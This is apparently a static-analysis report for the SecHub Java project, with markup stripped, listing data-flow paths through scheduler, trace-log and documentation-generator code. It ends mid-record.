sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 43 + 7 + 7 + projectName + + 1 + + + 43 + job.projectName = projectId; + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 52 + 10 + 8 + job + + 3 + + + 52 + return job; + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 59 + 9 + createJob + + 1 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 21 + 10 + secHubJob + + 9 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 43 + 11 + secHubJob + + 9 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 13 + 65 + 12 + job + + 3 + + + 13 + public static SecHubJobTraceLogID traceLogID(ScheduleSecHubJob job) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 14 + 34 + 13 + job + + 3 + + + 14 + return new SecHubJobTraceLogID(job); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 9 + 47 + 14 + source + + 6 + + + 9 + public SecHubJobTraceLogID(ScheduleSecHubJob source) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 10 + 9 + 15 + source + + 6 + + + 10 + super(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 16 + 22 + 16 + source + + 6 + + + 16 + public TraceLogID(T source) { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 17 + 8 + 17 + source + + 6 + + + 17 + this(source, null); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 20 + 22 + 18 + source + + 6 + + + 20 + public TraceLogID(T source, String postId) { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 28 + 19 + source + + 6 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 16 + 38 + 20 + uuid + + 4 + + + 16 + protected String createContent(UUID uuid) throws Exception { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 20 + 10 + 21 + uuid + + 4 + + + 20 + return uuid.toString(); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 20 + 23 + 22 + toString + + 1 + + + 20 + return uuid.toString(); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 27 + 23 + createContent + + 1 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 4 + 24 + content + + 7 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 33 + 45 + 25 + content + + 7 + + + 33 + asString = "__[SECHUB-" + postfix + ":" + content + "]__"; + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 33 + 3 + 26 + asString + + 8 + + + 33 + asString = "__[SECHUB-" + postfix + ":" + content + "]__"; + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 14 + 10 + 27 + SecHubJobTraceLogID + + 3 + + + 14 + return new SecHubJobTraceLogID(job); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 42 + 28 + traceLogID + + 1 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 12 + 29 + info + + 1 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 51 + 44 + 1 + configuration + + 13 + + + 51 + @RequestBody @Valid SecHubConfiguration configuration) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerRestController.java + 52 + 46 + 2 + configuration + + 13 + + + 52 + return scheduleService.schedule(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 54 + 79 + 3 + configuration + + 13 + + + 54 + public SchedulerResult schedule(String projectId, @Valid SecHubConfiguration configuration) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 71 + 4 + configuration + + 13 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 35 + 91 + 5 + configuration + + 13 + + + 35 + public ScheduleSecHubJob createJob(@NotNull String projectId, @Valid SecHubConfiguration configuration) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 44 + 28 + 6 + configuration + + 13 + + + 44 + job.jsonConfiguration = configuration.toJSON(); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 44 + 48 + 7 + toJSON + + 1 + + + 44 + job.jsonConfiguration = configuration.toJSON(); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 44 + 7 + 8 + jsonConfiguration + + 1 + + + 44 + job.jsonConfiguration = configuration.toJSON(); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java + 52 + 10 + 9 + job + + 3 + + + 52 + return job; + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 59 + 10 + createJob + + 1 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 61 + 21 + 11 + secHubJob + + 9 + + + 61 + ScheduleSecHubJob secHubJob = secHubJobFactory.createJob(projectId, configuration); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 43 + 12 + secHubJob + + 9 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 13 + 65 + 13 + job + + 3 + + + 13 + public static SecHubJobTraceLogID traceLogID(ScheduleSecHubJob job) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 14 + 34 + 14 + job + + 3 + + + 14 + return new SecHubJobTraceLogID(job); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 9 + 47 + 15 + source + + 6 + + + 9 + public SecHubJobTraceLogID(ScheduleSecHubJob source) { + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 10 + 9 + 16 + source + + 6 + + + 10 + super(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 16 + 22 + 17 + source + + 6 + + + 16 + public TraceLogID(T source) { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 17 + 8 + 18 + source + + 6 + + + 17 + this(source, null); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 20 + 22 + 19 + source + + 6 + + + 20 + public TraceLogID(T source, String postId) { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 28 + 20 + source + + 6 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 16 + 38 + 21 + uuid + + 4 + + + 16 + protected String createContent(UUID uuid) throws Exception { + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 20 + 10 + 22 + uuid + + 4 + + + 20 + return uuid.toString(); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/UUIDTraceLogID.java + 20 + 23 + 23 + toString + + 1 + + + 20 + return uuid.toString(); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 27 + 24 + createContent + + 1 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 29 + 4 + 25 + content + + 7 + + + 29 + content = createContent(source); + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 33 + 45 + 26 + content + + 7 + + + 33 + asString = "__[SECHUB-" + postfix + ":" + content + "]__"; + + + + + sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/TraceLogID.java + 33 + 3 + 27 + asString + + 8 + + + 33 + asString = "__[SECHUB-" + postfix + ":" + content + "]__"; + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java + 14 + 10 + 28 + SecHubJobTraceLogID + + 3 + + + 14 + return new SecHubJobTraceLogID(job); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 42 + 29 + traceLogID + + 1 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerService.java + 65 + 12 + 30 + info + + 1 + + + 65 + LOG.info("New job added{}", traceLogID(secHubJob)); + + + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 11 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 12 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 13 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 14 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 15 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 16 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 17 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 18 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 19 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 20 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 21 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 22 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 23 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 13 + 8 + add + + 1 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 9 + list + + 4 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 13 + 10 + add + + 1 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 11 + list + + 4 + + + 76 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 12 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 126 + 106 + 13 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 126 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 14 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 15 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 16 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 17 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 18 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 19 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 20 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 21 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 22 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 23 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 24 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 25 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 26 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 27 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 28 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 29 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 30 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 11 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 12 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 13 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 14 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 15 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 16 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 17 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 18 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 19 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 20 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 21 + endsWith + + 1 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 13 + 8 + add + + 1 + + + 48 + list.add(data0); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 9 + list + + 4 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 13 + 10 + add + + 1 + + + 60 + list.add(data1); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 11 + list + + 4 + + + 76 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 12 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/AsciidocGenerator.java + 126 + 106 + 13 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 126 + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 24 + 49 + 14 + list + + 4 + + + 24 + public String generate(List<DocAnnotationData> list) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 25 + 19 + 15 + list + + 4 + + + 25 + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 28 + 49 + 16 + list + + 4 + + + 28 + public String generate(List<DocAnnotationData> list, SpringValueFilter filter) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 29 + 23 + 17 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java + 38 + 61 + 18 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 19 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 20 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 21 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 22 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 23 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 24 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 25 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 26 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 27 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 59 + 28 + 